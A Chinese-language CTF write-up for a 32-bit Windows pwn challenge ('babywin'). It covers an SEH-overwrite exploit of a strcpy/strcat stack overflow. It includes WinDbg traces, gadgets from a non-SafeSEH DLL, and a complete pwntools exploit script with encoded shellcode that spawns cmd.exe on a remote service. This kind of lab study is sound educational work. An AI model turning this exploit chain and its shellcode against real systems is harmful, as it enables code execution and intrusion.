分析

题目给的附件有三个文件,一个exe,两个dll

先对exe进行checksec

比较重要的几个

  • 没有栈不可执行
  • 存在(GS)canary
  • 没有地址随机化

ida打开exe分析,程序是32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
char *sub_401060()
{
FILE *v0; // eax
const void *v2; // [esp+0h] [ebp-8h]
char *Buffer; // [esp+4h] [ebp-4h]

v2 = (const void *)gift();
Buffer = (char *)malloc(0x1000u);
output("your gift: %p\n", v2);
output("give your data:");
v0 = _acrt_iob_func(0);
fgets(Buffer, 200, v0);
return overflow(Buffer);
}

char *__cdecl overflow(char *Source)
{
char Destination[32]; // [esp+0h] [ebp-24h] BYREF

strcpy(Destination, Source);
return strcat(Destination, Source);
}

可以明显地发现一个溢出漏洞,如果在linux平台下这就是最简单的栈溢出了

但在windows环境下,不太熟悉

尝试

1
2
your gift: 00000009
give your data:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

your gift没啥用,只是加载了gift.dll模块

data我们先尝试随便输点东西

结果

1
2
3
4
5
6
7
8
(a7c.3314): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000a ebx=002f5000 ecx=61616161 edx=7efeff09 esi=005646c8 edi=0019ff5d
eip=762ec8b1 esp=0019fed8 ebp=0019ff0c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ucrtbase!strcat+0x71:
762ec8b1 8a11 mov dl,byte ptr [ecx] ds:002b:61616161=??

在strcat函数内出错了

1
2
3
4
5
6
7
char *__cdecl overflow(char *Source)
{
char Destination[32]; // [esp+0h] [ebp-24h] BYREF

strcpy(Destination, Source);
return strcat(Destination, Source);
}

这其中存在栈溢出,一开始还想不太通为啥会出错,然后突然意识到这是32位的程序,参数通过栈传递的,那么溢出就已经把栈中保存的参数给覆盖了


看到程序没有开启NX又没有后门的情况下

第一时间想到的是ret2shellcode,但有两个问题:

  1. 没有这样的gadget可供使用
  2. canary的存在

这都是在已有的条件下无法解决的问题

此时就需要利用windows下的SEH机制了,SEH链是保存在栈中的,发生异常时,会遍历SEH中的处理函数直到找到可以处理的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:001> !teb
TEB at 002f8000
ExceptionList: 0019ff60
StackBase: 001a0000
StackLimit: 0019d000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 002f8000
EnvironmentPointer: 00000000
ClientId: 00000a7c . 00003314
RpcHandle: 00000000
Tls Storage: 00564d30
PEB Address: 002f5000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
0:001> dps 0019ff60 l2
0019ff60 0019ffcc
0019ff64 00401b28 babywin+0x1b28

如果我们溢出到该处那么就可以劫持异常处理流

我们下一个断点看看正常处理下会是怎样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:000> g
(27f8.323c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0019000a ebx=002d5000 ecx=61616161 edx=7f17ff09 esi=005746e8 edi=0019ff71
eip=762ec8b1 esp=0019fed8 ebp=0019ff0c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ucrtbase!strcat+0x71:
762ec8b1 8a11 mov dl,byte ptr [ecx] ds:002b:61616161=??
0:000> dd esp l10
0019fed8 0057b8d0 0040110d 0019fee8 61616161
0019fee8 61616161 61616161 61616161 61616161
0019fef8 61616161 61616161 61616161 61616161
0019ff08 61616161 61616161 61616161 61616161
0:000> d 0019fee8 l20
0019fee8 61616161 61616161 61616161 61616161
0019fef8 61616161 61616161 61616161 61616161
0019ff08 61616161 61616161 61616161 61616161
0019ff18 61616161 61616161 61616161 61616161
0019ff28 61616161 61616161 61616161 61616161
0019ff38 61616161 61616161 61616161 61616161
0019ff48 61616161 61616161 61616161 61616161
0019ff58 61616161 61616161 61616161 61616161

异常触发时,此时还是strcat函数的栈

0019fee8dst,61616161src,显然后者不可访问,发生错误

继续跟进异常处理,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00401b28 edx=77808ad0 esi=00000000 edi=00000000
eip=00401b28 esp=0019f918 ebp=0019f938 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
babywin+0x1b28:
00401b28 55 push ebp
0:000> dd esp l20
0019f918 77808ab2 0019fa18 0019ff60 0019fa68
0019f928 0019f9a4 0019ff60 77808ad0 0019ff60
0019f938 0019fa00 77808a84 0019fa18 0019ff60
0019f948 0019fa68 0019f9a4 00401b28 0019ff60
0019f958 0019fa18 00000000 777e92ef 0019fa18
0019f968 0019ff60 0019fa68 0019f9a4 00401b28
0019f978 0019ff35 00734588 0019fa18 00000000
0019f988 0019fa68 0019ff60 00000032 0019d000

当执行到此处时,栈上会是这样一个状态,我们着重关注esp+8,发现其正好是当前的ExceptionList(此时eip就由其handler决定),而且这是一个距离可控栈比较近的地址

所以如果劫持这个handler为pop ?;pop?;ret那么就可以回到栈上执行shellcode

然后0019ff60处再写个jmp跳开handler指针,执行shellcode

不过这里还有一个问题,babywin开启了safeseh,所以我们需要找一个没有开启该保护的模块去找需要的gadget

发现gift.dll就刚好满足这个条件

而且能够找到不少gadget

1
2
3
4
5
0x271f16ac pop ecx; pop ebp; ret
0x271f1794 pop esi; pop ebp; ret
0x271f19c9 pop esi; pop ebx; ret
0x271f19f5 pop esi; pop ebx; ret
0x271f1a84 pop esi; pop ebp; ret

利用

我们只需要在检查gs之前,触发错误处理

就能够控制执行任意shellcode

先确认一下偏移,由之前的数据可以得知

offset=0x19ff60-0x19fee8=120

偏移确定,现在需要解决如何编写shellcode,不像linux平台下我们可以直接使用syscall来做一些系统级的调用方便getshell或者row

windows的shellcode编写更为复杂一点

不过好在我们可以直接借用某些工具,例如NytroRST/ShellcodeCompiler: Shellcode Compiler (github.com)

1
2
3
4
5
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");

WinExec("cmd.exe",0);
ExitProcess(0);

使用.\ShellcodeCompiler_x86.exe -r .\source.txt -o shellcode.bin -a shellcode.asm -p win_x86导出结果

还要注意需要二次读取足够的shellcode

exp:(不懂为什么只有windbg调试的情况下,才能成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import * 

pop2 = 0x271f16ac #: pop ecx ; pop ebp ; ret
context.log_level='debug'
context.arch='i386'
p = remote("192.168.137.1",12978)

shell = b'1\xc9d\x8bA0\x8b@\x0c\x8bp\x14\xad\x96\xad\x8bX\x10\x8bS<\x01\xda\x8bRx\x01\xda\x8br \x01\xde1\xc9A\xad\x01\xd8\x818GetPu\xf4\x81x\x04rocAu\xeb\x81x\x08ddreu\xe2\x8br$\x01\xdef\x8b\x0cNI\x8br\x1c\x01\xde\x8b\x14\x8e\x01\xda1\xc9SRQharyAhLibrhLoadTS\xff\xd2\x83\xc4\x0cYP1\xc0\xb8xec#P\x83l$\x03#hWinET\xfft$\x14\xffT$\x14\x83\xc4\x08P1\xc0\xb8ess#P\x83l$\x03#hProchExitT\xfft$\x1c\xffT$\x1c\x83\xc4\x0cP1\xc0\xb8exe#P\x83l$\x03#hcmd.T1\xc0P\xfft$\x04\xffT$\x18\x83\xc4\x0c1\xc0P\xffT$\x04'

assert(b'\n' not in shell)

# eip = p32(0x62616167)
# payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
# offset = cyclic_find(payload,eip)
# success('offset : ' + hex(offset))

shellcode = '''
mov ecx,0x01010101
mov eax,0x14121bd /*__acrt_iob_func*/
xor eax,ecx
mov ebx,[eax]
xor ecx,ecx
push ecx
call ebx
pop ecx

push eax

mov ecx,0x01010101 /*fgets*/
push ecx

xor eax,eax
push eax
emmm:
pop eax
test eax,eax
jnz read
call near ptr emmm
read:

sub ax,0x3010
push eax

mov eax,0x14121c1
xor eax,ecx
mov ebx,[eax]
call ebx

pop ebx
jmp ebx
'''

#shellcode = asm(shellcode)
shellcode = b'\xb9\x01\x01\x01\x01\xb8\xbd!A\x011\xc8\x8b\x181\xc9Q\xff\xd3YP\xb9\x01\x01\x01\x01Q1\xc0PX\x85\xc0u\x05\xe8\xf6\xff\xff\xfff-\x100P\xb8\xc1!A\x011\xc8\x8b\x18\xff\xd3[\xff\xe3'

print(shellcode)
assert(b'\n' not in shellcode and b'\x00' not in shellcode)
assert(len(shellcode) < 120)

print(shellcode)
pause()
payload = shellcode.ljust(120,b'\xAA') + b'\xeb\x86\xAA\xAA' + p32(pop2) + b'cmd.exe'

p.sendlineafter(b'data:',payload)

p.sendline(b'\xcc' + shell)
p.interactive()

或者改为

1
shell = b'U\x8b\xec\x83\xec SVW\xc7E\xe8u\x00c\x00\xc7E\xecr\x00t\x00f\xc7E\xfccm\xc6E\xfed\xc7E\xe0systf\xc7E\xe4em\xc6E\xe6\x00d\xa10\x00\x00\x00\x83\xc0\x0c\x8b\x00\x89E\xf8\x8b}\xf8\x83\xc7\x14\x8b\x17;\xd7t8\x8dd$\x00\x8br(\x8dM\xe83\xc0+\xf1\x8d\x9b\x00\x00\x00\x00\x8d\x0cFf\x8bL\r\xe8f;LE\xe8u\x06@\x83\xf8\x04|\xeb\x83\xf8\x04\x0f\x84\x82\x00\x00\x00\x8b\x12;\xd7u\xcc\x8b}\xf8\x8bG<3\xf6\x8b\\8x\x8bD;\x1c\x03\xdf\x03\xc7\x89E\xf0\x8bK \x8bC$\x03\xcf\x03\xc7\x89M\xec\x89E\xf49s\x18vI\x8b\x14\xb1\x8dE\xe0\x03\xd73\xc9+\xd0\x8dd$\x00\x8d\x04\x11\x8aD\x05\xe0:D\r\xe0u\x06A\x83\xf9\x06|\xed\x83\xf9\x06u\x18\x8bM\xf0\x8dE\xfcP\x8bE\xf4\x0f\xb7\x04p\x8b\x04\x81\x03\xc7\xff\xd0\x83\xc4\x04\x8bM\xecF;s\x18r\xb7_^[\x8b\xe5]\xc3\x8bz\x10\xeb\x82'